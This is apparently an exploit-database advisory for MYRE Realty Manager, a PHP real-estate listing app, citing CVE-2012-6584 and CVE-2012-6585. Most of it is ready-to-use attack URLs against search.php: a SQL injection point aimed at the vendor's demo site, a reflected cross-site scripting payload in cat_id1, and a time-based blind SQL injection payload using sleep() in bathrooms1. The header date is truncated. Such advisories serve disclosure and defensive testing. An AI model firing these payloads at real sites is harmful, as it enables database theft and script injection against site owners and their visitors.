MYRE Realty Manager - Multiple Vulnerabilities

Author: d3b4g
type: webapps
platform: php
port: 
date_added: 2012-11-14  
date_updated: 2012-11-14  
verified: 1  
codes: OSVDB-87412;OSVDB-87411;CVE-2012-6585;CVE-2012-6584  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 22713.txt  

# Exploit Title:MYRE Realty Manager  Multiple Vulnerabilities
# Date: 13.10.201
# Exploit Author: d3b4g
# Vendor Homepage:http://myrephp.com
# Software Link: http://myrephp.com/demo2/
# Tested on: Windows 7
# Blog: d3b4g.me





----------------------------------------------------------------------------------
 () SQL Injection :

---------------------------
 http://myrephp.com/demo2/search.php?bathrooms1= {Inject SQL}





() Cross Site Scripting:-




   http://localhost/path/search.php?bathrooms1=&bathrooms2=&bedrooms1=&bedrooms2=&cat_id1=%27%20onmouseover%3dprompt%28927207%29%20bad%3d%27&city1=&community1=&country1=&look=1&nolinks1=20&order=link_id&price1=&price2=&property_type1=&sort=DESC&state1=PENNSYLVANIA&zip1=%20HTTP/1.1






() Blin SQl injection:



   http://localhost/path/search.php?bathrooms1=0.5%20or%20%28sleep%282%29%2b1%29%20limit%201%20--



-end-